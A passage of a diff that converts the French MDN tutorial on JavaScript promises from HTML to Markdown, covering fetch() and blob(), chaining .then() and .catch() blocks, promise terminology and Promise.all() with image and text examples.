monde réel.</p> -</div> - -<h3 id="responding_to_failure">Réagir à un échec</h3> - -<p>Il manque quelque chose — actuellement, il n'y a rien pour gérer explicitement les erreurs si l'une des promesses <strong>échoue</strong> (<i>rejects</i>, en anglais). Nous pouvons ajouter la gestion des erreurs en exécutant la méthode <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch"><code>.catch()</code></a> de la promesse précédente. Ajoutez ceci maintenant :</p> - -<pre class="brush: js">let errorCase = promise3.catch(e => { +.catch(failureCallback); +``` + +Ou encore ça : + +```js +chooseToppings() +.then(toppings => placeOrder(toppings)) +.then(order => collectOrder(order)) +.then(pizza => eatPizza(pizza)) +.catch(failureCallback); +``` + +Cela fonctionne car avec les fonctions flèches `() => x` est un raccourci valide pour `() => { return x ; }`. + +Vous pourriez même le faire ainsi, puisque les fonctions ne font que passer leurs arguments directement, et qu'il n'y a donc pas besoin de cette couche supplémentaire de fonctions : + +```js +chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback); +``` + +Cependant, la lecture n'est pas aussi facile et cette syntaxe peut ne pas être utilisable si vos blocs sont plus complexes que ce que nous avons montré ici. + +> **Note :** Vous pouvez apporter d'autres améliorations avec la syntaxe `async`/`await`, que nous aborderons dans le prochain article. + +Dans leur forme la plus basique, les promesses sont similaires aux écouteurs d'événements, mais avec quelques différences : + +- Une promesse ne peut réussir ou échouer qu'une seule fois. Elle ne peut pas réussir ou échouer deux fois et elle ne peut pas passer du succès à l'échec ou vice versa une fois l'opération terminée. +- Si une promesse a réussi ou échoué et que vous ajoutez plus tard une de rappel de réussite/échec, la bonne fonction de rappel sera appelée, même si l'événement a eu lieu plus tôt. + +## Explication de la syntaxe de base des promesses : exemple concret + +Il est important de comprendre les promesses, car la plupart des API Web modernes les utilisent pour les fonctions qui exécutent des tâches potentiellement longues. Pour utiliser les technologies Web modernes, vous devrez utiliser des promesses. Plus loin dans ce chapitre, nous verrons comment écrire votre propre promesse, mais pour l'instant, nous allons nous pencher sur quelques exemples simples que vous rencontrerez dans les API Web. + +Dans le premier exemple, nous allons utiliser la méthode [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch) pour récupérer une image sur le web, la méthode [`blob()`](/fr/docs/Web/API/Body/blob) pour transformer le contenu brut du corps de la réponse fetch en un objet [`Blob`](/fr/docs/Web/API/Blob), puis afficher ce blob à l'intérieur d'un élément [`<img>`](/fr/docs/Web/HTML/Element/Img). Cet exemple est très similaire à celui que nous avons examiné dans le [premier article](/fr/docs/Learn/JavaScript/Asynchronous/Introducing#asynchronous_javascript), mais nous le ferons un peu différemment au fur et à mesure que nous vous ferons construire votre propre code basé sur des promesses. + +> **Note :** L'exemple suivant ne fonctionnera pas si vous l'exécutez directement à partir du fichier (c'est-à-dire via une URL `file://`). Vous devez l'exécuter via un [serveur de test local](/fr/docs/Learn/Common_questions/set_up_a_local_testing_server), ou utiliser une solution en ligne telle que [Glitch](https://glitch.com/) ou [les pages GitHub](/fr/docs/Learn/Common_questions/Using_Github_pages). + +1. Tout d'abord, téléchargez notre [modèle HTML simple](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html) et le [fichier image](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg) que nous allons récupérer. +2. Ajoutez un élément [`<script>`](/fr/docs/Web/HTML/Element/script) au bas de l'élément HTML [`<body>`](/fr/docs/Web/HTML/Element/body). +3. À l'intérieur de votre élément [`<script>`](/fr/docs/Web/HTML/Element/script), ajoutez la ligne suivante : + + ```js + let promise = fetch('coffee.jpg'); + ``` + + Cela appelle la méthode `fetch()`, en lui passant en paramètre l'URL de l'image à récupérer sur le réseau. Cette méthode peut également prendre un objet d'options comme second paramètre facultatif, mais nous n'utilisons que la version la plus simple pour le moment. Nous stockons l'objet promesse retourné par `fetch()` à l'intérieur d'une variable appelée `promise`. Comme nous l'avons dit précédemment, cet objet représente un état intermédiaire qui n'est initialement ni un succès ni un échec - le terme officiel pour une promesse dans cet état est **en attente** (_pending_ en anglais). + +4. Pour répondre à l'achèvement réussi de l'opération lorsque cela se produit (dans ce cas, lorsqu'une [réponse](/fr/docs/Web/API/Response) est retournée), nous invoquons la méthode [`.then()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/then) de l'objet promesse. La fonction de rappel à l'intérieur du bloc `.then()` s'exécute uniquement lorsque l'appel de la promesse se termine avec succès et retourne l'objet [`Response`](/fr/docs/Web/API/Response) — en langage de promesse, lorsqu'elle a été **remplie** (_fullfilled_ en anglais). On lui passe l'objet [`Response`](/fr/docs/Web/API/Response) retourné en tant que paramètre. + + > **Note :** Le fonctionnement d'un bloc `.then()` est similaire à celui de l'ajout d'un écouteur d'événements à un objet à l'aide de `AddEventListener()`. Il ne s'exécute pas avant qu'un événement ne se produise (lorsque la promesse se réalise). La différence la plus notable est qu'un `.then()` ne s'exécutera qu'une fois à chaque fois qu'il sera utilisé, alors qu'un écouteur d'événements pourrait être invoqué plusieurs fois. + + Nous exécutons immédiatement la méthode `blob()` sur cette réponse pour nous assurer que le corps de la réponse est entièrement téléchargé, et lorsqu'il est disponible, le transformer en un objet `Blob` avec lequel nous pouvons faire quelque chose. Le résultat de cette méthode est retourné comme suit : + + ```js + response => response.blob() + ``` + + qui est un raccourci de + + ```js + function(response) { + return response.blob(); + } + ``` + + Malheureusement, nous devons faire un peu plus que cela. Les promesses de récupération n'échouent pas sur les erreurs 404 ou 500 - seulement sur quelque chose de catastrophique comme une panne de réseau. Au lieu de cela, elles réussissent, mais avec la propriété [`response.ok`](/fr/docs/Web/API/Response/ok) définie à `false`. Pour produire une erreur sur un 404, par exemple, nous devons vérifier la valeur de `response.ok`, et si c'est `false`, lancer une erreur, ne renvoyant le blob que si elle est à `true`. Cela peut être fait comme suit - ajoutez les lignes suivantes sous votre première ligne de JavaScript. + + ```js + let promise2 = promise.then(response => { + if (!response.ok) { + throw new Error(`erreur HTTP ! statut : ${response.status}`); + } else { + return response.blob(); + } + }); + ``` + +5. Chaque appel à la méthode `.then()` crée une nouvelle promesse. Ceci est très utile ; parce que la méthode `blob()` renvoie également une promesse, nous pouvons manipuler l'objet `Blob` qu'elle renvoie sur l'accomplissement en invoquant la méthode `.then()` de la seconde promesse. Parce que nous voulons faire quelque chose d'un peu plus complexe au blob que de simplement exécuter une seule méthode sur lui et renvoyer le résultat, nous devrons envelopper le corps de la fonction dans des accolades cette fois (sinon, ça lancera une erreur). + + Ajoutez ce qui suit à la fin de votre code : + + ```js + let promise3 = promise2.then(myBlob => { + }) + ``` + +6. Maintenant, remplissons le corps de la fonction de rappel `.then()`. Ajoutez les lignes suivantes à l'intérieur des accolades : + + ```js + let objectURL = URL.createObjectURL(myBlob); + let image = document.createElement('img'); + image.src = objectURL; + document.body.appendChild(image); + ``` + + Nous exécutons ici la méthode [`URL.createObjectURL()`](/fr/docs/Web/API/URL/createObjectURL), en lui passant en paramètre le `Blob` renvoyé lors de la réalisation de la deuxième promesse. Cela permettra de renvoyer une URL pointant vers l'objet. Ensuite, nous créons un élément [`<img>`](/fr/docs/Web/HTML/Element/Img), définissons son attribut `src` comme étant égal à l'URL de l'objet et l'ajoutons au DOM, de sorte que l'image s'affiche sur la page ! + +Si vous enregistrez le fichier HTML que vous venez de créer et le chargez dans votre navigateur, vous verrez que l'image s'affiche dans la page comme prévu. Bon travail ! + +> **Note :** Vous remarquerez probablement que ces exemples sont quelque peu artificiels. Vous pourriez tout simplement vous passer de toute la chaîne `fetch()` et `blob()`, et simplement créer un élément `<img>` et définir la valeur de son attribut `src` à l'URL du fichier image, `coffee.jpg`. Nous avons toutefois choisi cet exemple parce qu'il démontre les promesses d'une manière simple et agréable, plutôt que pour sa pertinence dans le monde réel. + +### Réagir à un échec + +Il manque quelque chose — actuellement, il n'y a rien pour gérer explicitement les erreurs si l'une des promesses **échoue** (_rejects_, en anglais). Nous pouvons ajouter la gestion des erreurs en exécutant la méthode [`.catch()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch) de la promesse précédente. Ajoutez ceci maintenant : + +```js +let errorCase = promise3.catch(e => { console.log('Il y a eu un problème avec votre opération de récupération : ' + e.message); -});</pre> +}); +``` -<p>Pour voir cela en action, essayez de mal orthographier l'URL de l'image et de recharger la page. L'erreur sera signalée dans la console des outils de développement de votre navigateur.</p> +Pour voir cela en action, essayez de mal orthographier l'URL de l'image et de recharger la page. L'erreur sera signalée dans la console des outils de développement de votre navigateur. -<p>Cela ne fait pas beaucoup plus que si vous ne preniez pas la peine d'inclure le bloc <code>.catch()</code> du tout, mais pensez-y - cela nous permet de contrôler la gestion des erreurs exactement comme nous le voulons. Dans une application réelle, votre bloc <code>.catch()</code> pourrait réessayer de récupérer l'image, ou afficher une image par défaut, ou demander à l'utilisateur de fournir une URL d'image différente, ou autre.</p> +Cela ne fait pas beaucoup plus que si vous ne preniez pas la peine d'inclure le bloc `.catch()` du tout, mais pensez-y - cela nous permet de contrôler la gestion des erreurs exactement comme nous le voulons. Dans une application réelle, votre bloc `.catch()` pourrait réessayer de récupérer l'image, ou afficher une image par défaut, ou demander à l'utilisateur de fournir une URL d'image différente, ou autre. -<div class="note"> - <p><strong>Note :</strong> Vous pouvez voir <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch.html">notre version de l'exemple en direct</a> (voir également son <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch.html">code source</a>).</p> -</div> +> **Note :** Vous pouvez voir [notre version de l'exemple en direct](https://mdn.github.io/learning-area/javascript/asynchronous/promises/simple-fetch.html) (voir également son [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch.html)). -<h3 id="chaining_the_blocks_together">Enchaîner les blocs</h3> +### Enchaîner les blocs -<p>C'est une façon très manuscrite d'écrire cela ; nous l'avons délibérément fait pour vous aider à comprendre clairement ce qui se passe. Comme nous l'avons montré plus haut dans l'article, vous pouvez enchaîner les blocs <code>.then()</code> (et aussi les blocs <code>.catch()</code>). Le code ci-dessus pourrait aussi être écrit comme ceci (voir aussi <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html">simple-fetch-chained.html</a> sur GitHub) :</p> +C'est une façon très manuscrite d'écrire cela ; nous l'avons délibérément fait pour vous aider à comprendre clairement ce qui se passe. Comme nous l'avons montré plus haut dans l'article, vous pouvez enchaîner les blocs `.then()` (et aussi les blocs `.catch()`). Le code ci-dessus pourrait aussi être écrit comme ceci (voir aussi [simple-fetch-chained.html](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/simple-fetch-chained.html) sur GitHub) : -<pre class="brush: js">fetch('coffee.jpg') -.then(response => { +```js +fetch('coffee.jpg') +.then(response => { if (!response.ok) { throw new Error(`Erreur HTTP ! statut : ${response.status}`); } else { return response.blob(); } }) -.then(myBlob => { +.then(myBlob => { let objectURL = URL.createObjectURL(myBlob); let image = document.createElement('img'); image.src = objectURL; document.body.appendChild(image); }) -.catch(e => { +.catch(e => { console.log('Il y a eu un problème avec votre opération de récupération : ' + e.message); -});</pre> +}); +``` + +Gardez à l'esprit que la valeur renvoyée par une promesse remplie devient le paramètre transmis à la fonction de rappel du bloc `.then()` suivant. -<p>Gardez à l'esprit que la valeur renvoyée par une promesse remplie devient le paramètre transmis à la fonction de rappel du bloc <code>.then()</code> suivant.</p> +> **Note :** Les blocs `.then()`/`.catch()` dans les promesses sont essentiellement l'équivalent asynchrone d'un bloc [`try...catch`](/fr/docs/Web/JavaScript/Reference/Statements/try...catch) dans du code synchrone. Gardez à l'esprit que le `try...catch` synchrone ne fonctionnera pas dans du code asynchrone. -<div class="note"> - <p><strong>Note :</strong> Les blocs <code>.then()</code>/<code>.catch()</code> dans les promesses sont essentiellement l'équivalent asynchrone d'un bloc <code><a href="/fr/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> dans du code synchrone. Gardez à l'esprit que le <code>try...catch</code> synchrone ne fonctionnera pas dans du code asynchrone.</p> -</div> +## Récapitulatif de la terminologie des promesses -<h2 id="promise_terminology_recap">Récapitulatif de la terminologie des promesses</h2> +Il y avait beaucoup à couvrir dans la section ci-dessus, alors revenons-y rapidement pour vous donner un [court guide que vous pouvez mettre en favoris](#promise_terminology_recap) et utiliser pour vous rafraîchir la mémoire à l'avenir. Vous devriez également revoir la section ci-dessus quelques fois de plus pour vous assurer que ces concepts sont bien assimilés. -<p>Il y avait beaucoup à couvrir dans la section ci-dessus, alors revenons-y rapidement pour vous donner un <a href="#promise_terminology_recap" >court guide que vous pouvez mettre en favoris</a> et utiliser pour vous rafraîchir la mémoire à l'avenir. Vous devriez également revoir la section ci-dessus quelques fois de plus pour vous assurer que ces concepts sont bien assimilés.</p> +1. Lorsqu'une promesse est créée, elle n'est ni dans un état de réussite ni dans un état d'échec. On dit qu'elle est **en attente**. +2. Lorsqu'une promesse est retournée, on dit qu'elle est **résolue**. -<ol> - <li>Lorsqu'une promesse est créée, elle n'est ni dans un état de réussite ni dans un état d'échec. On dit qu'elle est <strong>en attente</strong>.</li> - <li>Lorsqu'une promesse est retournée, on dit qu'elle est <strong>résolue</strong>. - <ol> - <li>Une promesse résolue avec succès est dite <strong>remplie</strong>. Elle retourne une valeur, à laquelle on peut accéder en enchaînant un bloc <code>.then()</code> à la fin de la chaîne de promesses. La fonction de rappel à l'intérieur du bloc <code>.then()</code> contiendra la valeur de retour de la promesse.</li> - <li>Une promesse résolue non aboutie est dite <strong>rejetée</strong>. Elle renvoie une <strong>raison</strong>, un message d'erreur indiquant pourquoi la promesse a été rejetée. On peut accéder à cette raison en enchaînant un bloc <code>.catch()</code> à la fin de la chaîne de promesses.</li> - </ol> - </li> -</ol> + 1. Une promesse résolue avec succès est dite **remplie**. Elle retourne une valeur, à laquelle on peut accéder en enchaînant un bloc `.then()` à la fin de la chaîne de promesses. La fonction de rappel à l'intérieur du bloc `.then()` contiendra la valeur de retour de la promesse. + 2. Une promesse résolue non aboutie est dite **rejetée**. Elle renvoie une **raison**, un message d'erreur indiquant pourquoi la promesse a été rejetée. On peut accéder à cette raison en enchaînant un bloc `.catch()` à la fin de la chaîne de promesses. -<h2 id="running_code_in_response_to_multiple_promises_fulfilling">Exécution du code en réponse à des promesses multiples remplies</h2> +## Exécution du code en réponse à des promesses multiples remplies -<p>L'exemple ci-dessus nous a montré certaines des bases réelles de l'utilisation des promesses. Voyons maintenant quelques fonctionnalités plus avancées. Pour commencer, enchaîner des processus pour qu'ils se réalisent l'un après l'autre, c'est très bien, mais que faire si vous voulez exécuter du code seulement après que tout un tas de promesses aient <em>toutes</em> été remplies ?</p> +L'exemple ci-dessus nous a montré certaines des bases réelles de l'utilisation des promesses. Voyons maintenant quelques fonctionnalités plus avancées. Pour commencer, enchaîner des processus pour qu'ils se réalisent l'un après l'autre, c'est très bien, mais que faire si vous voulez exécuter du code seulement après que tout un tas de promesses aient _toutes_ été remplies ? -<p>Vous pouvez le faire avec la méthode statique ingénieusement nommée <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/all"><code>Promise.all()</code></a>. Celle-ci prend un tableau de promesses comme paramètre d'entrée et retourne un nouvel objet <code>Promise</code> qui ne se réalisera que si et quand <em>toutes</em> les promesses du tableau se réaliseront. Cela ressemble à quelque chose comme ceci :</p> +Vous pouvez le faire avec la méthode statique ingénieusement nommée [`Promise.all()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/all). Celle-ci prend un tableau de promesses comme paramètre d'entrée et retourne un nouvel objet `Promise` qui ne se réalisera que si et quand _toutes_ les promesses du tableau se réaliseront. Cela ressemble à quelque chose comme ceci : -<pre class="brush: js">Promise.all([a, b, c]).then(values => { +```js +Promise.all([a, b, c]).then(values => { ... -});</pre> +}); +``` -<p>Si elles se réalisent toutes, la fonction de callback du bloc <code>.then()</code> enchaîné se verra passer un tableau contenant tous ces résultats en paramètre. Si l'une des promesses passées à <code>Promise.all()</code> rejette, le bloc entier sera rejeté.</p> +Si elles se réalisent toutes, la fonction de callback du bloc `.then()` enchaîné se verra passer un tableau contenant tous ces résultats en paramètre. Si l'une des promesses passées à `Promise.all()` rejette, le bloc entier sera rejeté. -<p>Cela peut être très utile. Imaginez que nous récupérions des informations pour alimenter dynamiquement en contenu une fonction de l'interface utilisateur de notre page. Dans de nombreux cas, il est préférable de recevoir toutes les données et de n'afficher que le contenu complet, plutôt que d'afficher des informations partielles.</p> +Cela peut être très utile. Imaginez que nous récupérions des informations pour alimenter dynamiquement en contenu une fonction de l'interface utilisateur de notre page. Dans de nombreux cas, il est préférable de recevoir toutes les données et de n'afficher que le contenu complet, plutôt que d'afficher des informations partielles. -<p>Construisons un autre exemple pour montrer cela en action.</p> +Construisons un autre exemple pour montrer cela en action. -<ol> - <li> - <p>Téléchargez une nouvelle copie de notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">modèle de page</a>, et mettez à nouveau un élément <code><script></code> juste avant la balise de fermeture <code></body></code>.</p> - </li> - <li> - <p>Téléchargez nos fichiers sources (<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg">coffee.jpg</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/tea.jpg">tea.jpg</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/description.txt">description.txt</a>), ou n'hésitez pas à y substituer les vôtres.</p> - </li> - <li> - <p>Dans notre script, nous allons d'abord définir une fonction qui retourne les promesses que nous voulons envoyer à <code>Promise.all()</code>. Cela serait facile si nous voulions simplement exécuter le bloc <code>Promise.all()</code> en réponse à trois opérations <code>fetch()</code> qui se terminent. Nous pourrions simplement faire quelque chose comme :</p> - <pre class="brush: js">let a = fetch(url1); -let b = fetch(url2); -let c = fetch(url3); +1. Téléchargez une nouvelle copie de notre [modèle de page](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html), et mettez à nouveau un élément `<script>` juste avant la balise de fermeture `</body>`. +2. Téléchargez nos fichiers sources ([coffee.jpg](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg), [tea.jpg](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/tea.jpg), et [description.txt](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/description.txt)), ou n'hésitez pas à y substituer les vôtres. +3. Dans notre script, nous allons d'abord définir une fonction qui retourne les promesses que nous voulons envoyer à `Promise.all()`. Cela serait facile si nous voulions simplement exécuter le bloc `Promise.all()` en réponse à trois opérations `fetch()` qui se terminent. Nous pourrions simplement faire quelque chose comme : -Promise.all([a, b, c]).then(values => { - ... -});</pre> - <p>Lorsque la promesse est réalisée, les <code>values</code> (valeurs) passées dans le gestionnaire de réalisation contiendraient trois objets <code>Response</code>, un pour chacune des opérations <code>fetch()</code> qui se sont terminées.</p> - <p>Cependant, nous ne voulons pas faire cela. Notre code ne se soucie pas de savoir quand les opérations <code>fetch()</code> sont effectuées. Au lieu de cela, ce que nous voulons, ce sont les données chargées. Cela signifie que nous voulons exécuter le bloc <code>Promise.all()</code> lorsque nous récupérons des blobs utilisables représentant les images, et une chaîne de texte utilisable. Nous pouvons écrire une fonction qui fait cela ; ajoutez ce qui suit à l'intérieur de votre élément <code><script></code> :</p> - <pre class="brush: js">function fetchAndDecode(url, type) { - return fetch(url).then(response => { - if(!response.ok) { - throw new Error(`Erreur HTTP ! statut : ${response.status}`); - } else { - if(type === 'blob') { - return response.blob(); - } else if(type === 'text') { - return response.text(); - } + ```js + let a = fetch(url1); + let b = fetch(url2); + let c = fetch(url3); + + Promise.all([a, b, c]).then(values => { + ... + }); + ``` + + Lorsque la promesse est réalisée, les `values` (valeurs) passées dans le gestionnaire de réalisation contiendraient trois objets `Response`, un pour chacune des opérations `fetch()` qui se sont terminées. + + Cependant, nous ne voulons pas faire cela. Notre code ne se soucie pas de savoir quand les opérations `fetch()` sont effectuées. Au lieu de cela, ce que nous voulons, ce sont les données chargées. Cela signifie que nous voulons exécuter le bloc `Promise.all()` lorsque nous récupérons des blobs utilisables représentant les images, et une chaîne de texte utilisable. Nous pouvons écrire une fonction qui fait cela ; ajoutez ce qui suit à l'intérieur de votre élément `<script>` : + + ```js + function fetchAndDecode(url, type) { + return fetch(url).then(response => { + if(!response.ok) { + throw new Error(`Erreur HTTP ! statut : ${response.status}`); + } else { + if(type === 'blob') { + return response.blob(); + } else if(type === 'text') { + return response.text(); + } + } + }) + .catch(e => { + console.log( + `Il y a eu un problème avec votre opération de récupération de la ressource "${url}" : ` + e.message); + }); } - }) - .catch(e => { - console.log( - `Il y a eu un problème avec votre opération de récupération de la ressource "${url}" : ` + e.message); - }); -}</pre> - <p>Cela semble un peu complexe, alors nous allons le faire étape par étape :</p> - <ol> - <li>Tout d'abord, nous définissons la fonction, en lui passant une URL et une chaîne représentant le type de ressource qu'elle va chercher.</li> - <li>À l'intérieur du corps de la fonction, nous avons une structure similaire à celle que nous avons vue dans le premier exemple — nous appelons la fonction <code>fetch()</code> pour récupérer la ressource à l'URL spécifiée, puis nous l'enchaînons sur une autre promesse qui renvoie le corps de réponse décodé (ou « lu »). Il s'agissait toujours de la méthode <code>blob()</code> dans l'exemple précédent.</li> - <li>Cependant, deux choses sont différentes ici : - <ul> - <li>Tout d'abord, la deuxième promesse que nous retournons est différente en fonction de la valeur <code>type</code>. À l'intérieur de la fonction de rappel <code>.then()</code>, nous incluons une simple déclaration <code>if ... else if</code> pour retourner une promesse différente selon le type de fichier que nous devons décoder (dans ce cas, nous avons le choix entre <code>blob</code> et <code>text</code>, mais il serait facile d'étendre cela pour traiter d'autres types également).</li> - <li>Deuxièmement, nous avons ajouté le mot-clé <code>return</code> avant l'appel <code>fetch()</code>. Cela a pour effet d'exécuter toute la chaîne, puis d'exécuter le résultat final (c'est-à-dire la promesse retournée par <code>blob()</code> ou <code>text()</code>) comme valeur de retour de la fonction que nous venons de définir. En effet, les instructions <code>return</code> font remonter les résultats au sommet de la chaîne.</li> - </ul> - </li> - <li> - <p>À la fin du bloc, nous enchaînons sur un appel <code>.catch()</code>, pour gérer les cas d'erreur qui peuvent survenir avec l'une des promesses passées dans le tableau à <code>.all()</code>. Si l'une des promesses est rejetée, le bloc <code>.catch()</code> vous fera savoir laquelle avait un problème. Le bloc <code>.all()</code> (voir ci-dessous) s'exécutera quand même, mais il n'affichera pas les ressources qui ont eu des problèmes. Rappelez-vous que, une fois que vous avez traité la promesse avec un bloc <code>.catch()</code>, la promesse résultante est considérée comme résolue mais avec une valeur de <code>undefined</code> ; c'est pourquoi, dans ce cas, le bloc <code>.all()</code> sera toujours rempli. Si vous vouliez que le bloc <code>.all()</code> rejette, vous devriez plutôt enchaîner le bloc <code>.catch()</code> à la fin du <code>.all()</code>.</p> - </li> - </ol> - <p>Le code à l'intérieur du corps de la fonction est asynchrone et basé sur une promesse, donc en fait, la fonction entière agit comme une promesse — pratique.</p> - </li> - <li> - <p>Ensuite, nous appelons notre fonction trois fois pour commencer le processus de récupération et de décodage des images et du texte et nous stockons chacune des promesses retournées dans une variable. Ajoutez le texte suivant sous votre code précédent :</p> - <pre class="brush: js">let coffee = fetchAndDecode('coffee.jpg', 'blob'); -let tea = fetchAndDecode('tea.jpg', 'blob'); -let description = fetchAndDecode('description.txt', 'text');</pre> - </li> - <li> - <p>Ensuite, nous allons définir un bloc <code>Promesse.all()</code> pour exécuter un certain code uniquement lorsque les trois promesses stockées ci-dessus se sont réalisées avec succès. Pour commencer, ajoutez un bloc avec une fonction de rappel vide à l'intérieur de l'appel <code>.then()</code>, comme ceci :</p> - <pre class="brush: js">Promise.all([coffee, tea, description]).then(values => { - -});</pre> - <p>Vous pouvez voir qu'elle prend un tableau contenant les promesses comme paramètre. La fonction de rappel <code>.then()</code> ne sera exécutée que lorsque les trois promesses seront résolues ; lorsque cela se produira, on lui transmettra un tableau contenant les résultats des promesses individuelles (c'est-à-dire les corps de réponse décodés), un peu comme suit [coffee-results, tea-results, description-results].</p> - </li> - <li> - <p>Enfin, ajoutez ce qui suit à l'intérieur de la fonction de rappel. Nous utilisons ici un code de synchronisation assez simple pour stocker les résultats dans des variables séparées (en créant des URL d'objets à partir des blobs), puis nous affichons les images et le texte sur la page.</p> - <pre class="brush: js">console.log(values); -// Stocke chaque valeur renvoyée par les promesses dans -// des variables distinctes ; crée des URL d'objets à partir des blobs. -let objectURL1 = URL.createObjectURL(values[0]); -let objectURL2 = URL.createObjectURL(values[1]); -let descText = values[2]; - -// Affiche les images dans les éléments <img> -let image1 = document.createElement('img'); -let image2 = document.createElement('img'); -image1.src = objectURL1; -image2.src = objectURL2; -document.body.appendChild(image1); -document.body.appendChild(image2); - -// Affiche le texte d'un paragraphe -let para = document.createElement('p'); -para.textContent = descText; -document.body.appendChild(para);</pre> - </li> - <li> - <p>Sauvegardez et actualisez et vous devriez voir vos composants d'interface utilisateur chargés, bien que d'une manière peu attrayante !</p> - </li> -</ol> - -<p>Le code que nous avons fourni ici pour l'affichage des articles est assez rudimentaire, mais il fonctionne comme une explication pour le moment.</p> - -<div class="note"> - <p><strong>Note :</strong> Si vous êtes bloqué, vous pouvez comparer votre version du code à la nôtre, pour voir à quoi elle est censée ressembler - <a href="https://mdn.github.io/learning-area/javascript/asynchronous/promises/promise-all.html">voir en direct</a>, et voir le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/promise-all.html">code source</a>.</p> -</div> - -<div class="note"> - <p><strong>Note :</strong> Si vous amélioriez ce code, vous pourriez vouloir boucler sur une liste d'éléments à afficher, en récupérant et en décodant chacun d'eux, puis boucler sur les résultats à l'intérieur de <code>Promise.all()</code>, en exécutant une fonction différente pour afficher chacun d'eux en fonction du type de code. Cela permettrait de fonctionner pour n'importe quel nombre d'éléments, pas seulement trois.</p> - <p>De plus, vous pourriez déterminer quel est le type de fichier récupéré sans avoir besoin d'une propriété <code>type</code> explicite. Vous pourriez, par exemple, vérifier l'en-tête HTTP <a href="/fr/docs/Web/HTTP/Headers/Content-Type"><code>Content-Type</code></a> de la réponse dans chaque cas en utilisant <a href="/fr/docs/Web/API/Headers/get"><code>response.headers.get("content-type")</code></a>, puis agir en conséquence.</p> -</div> - -<h2 id="running_some_final_code_after_a_promise_fulfillsrejects">Exécution d'un code final après l'accomplissement/le rejet d'une promesse.</h2> - -<p>Il y aura des cas où vous voudrez exécuter un bloc de code final après la fin d'une promesse, qu'elle se soit réalisée ou rejetée. Auparavant, vous deviez inclure le même code dans les deux fonctions de rappel <code>.then()</code> et <code>.catch()</code>, par exemple :</p> - -<pre class="brush: js">myPromise -.then(response => { + ``` + + Cela semble un peu complexe, alors nous allons le faire étape par étape : + + 1. Tout d'abord, nous définissons la fonction, en lui passant une URL et une chaîne représentant le type de ressource qu'elle va chercher. + 2. À l'intérieur du corps de la fonction, nous avons une structure similaire à celle que nous avons vue dans le premier exemple — nous appelons la fonction `fetch()` pour récupérer la ressource à l'URL spécifiée, puis nous l'enchaînons sur une autre promesse qui renvoie le corps de réponse décodé (ou « lu »). Il s'agissait toujours de la méthode `blob()` dans l'exemple précédent. + 3. Cependant, deux choses sont différentes ici : + + - Tout d'abord, la deuxième promesse que nous retournons est différente en fonction de la valeur `type`. À l'intérieur de la fonction de rappel `.then()`, nous incluons une simple déclaration `if ... else if` pour retourner une promesse différente selon le type de fichier que nous devons décoder (dans ce cas, nous avons le choix entre `blob` et `text`, mais il serait facile d'étendre cela pour traiter d'autres types également). + - Deuxièmement, nous avons ajouté le mot-clé `return` avant l'appel `fetch()`. Cela a pour effet d'exécuter toute la chaîne, puis d'exécuter le résultat final (c'est-à-dire la promesse retournée par `blob()` ou `text()`) comme valeur de retour de la fonction que nous venons de définir. En effet, les instructions `return` font remonter les résultats au sommet de la chaîne. + + 4. À la fin du bloc, nous enchaînons sur un appel `.catch()`, pour gérer les cas d'erreur qui peuvent survenir avec l'une des promesses passées dans le tableau à `.all()`. Si l'une des promesses est rejetée, le bloc `.catch()` vous fera savoir laquelle avait un problème. Le bloc `.all()` (voir ci-dessous) s'exécutera quand même, mais il n'affichera pas les ressources qui ont eu des problèmes. Rappelez-vous que, une fois que vous avez traité la promesse avec un bloc `.catch()`, la promesse résultante est considérée comme résolue mais avec une valeur de `undefined` ; c'est pourquoi, dans ce cas, le bloc `.all()` sera toujours rempli. Si vous vouliez que le bloc `.all()` rejette, vous devriez plutôt enchaîner le bloc `.catch()` à la fin du `.all()`. + + Le code à l'intérieur du corps de la fonction est asynchrone et basé sur une promesse, donc en fait, la fonction entière agit comme une promesse — pratique. + +4. Ensuite, nous appelons notre fonction trois fois pour commencer le processus de récupération et de décodage des images et du texte et nous stockons chacune des promesses retournées dans une variable. Ajoutez le texte suivant sous votre code précédent : + + ```js + let coffee = fetchAndDecode('coffee.jpg', 'blob'); + let tea = fetchAndDecode('tea.jpg', 'blob'); + let description = fetchAndDecode('description.txt', 'text'); + ``` + +5. Ensuite, nous allons définir un bloc `Promesse.all()` pour exécuter un certain code uniquement lorsque les trois promesses stockées ci-dessus se sont réalisées avec succès. Pour commencer, ajoutez un bloc avec une fonction de rappel vide à l'intérieur de l'appel `.then()`, comme ceci : + + ```js + Promise.all([coffee, tea, description]).then(values => { + + }); + ``` + + Vous pouvez voir qu'elle prend un tableau contenant les promesses comme paramètre. La fonction de rappel `.then()` ne sera exécutée que lorsque les trois promesses seront résolues ; lorsque cela se produira, on lui transmettra un tableau contenant les résultats des promesses individuelles (c'est-à-dire les corps de réponse décodés), un peu comme suit \[coffee-results, tea-results, description-results]. + +6. Enfin, ajoutez ce qui suit à l'intérieur de la fonction de rappel. Nous utilisons 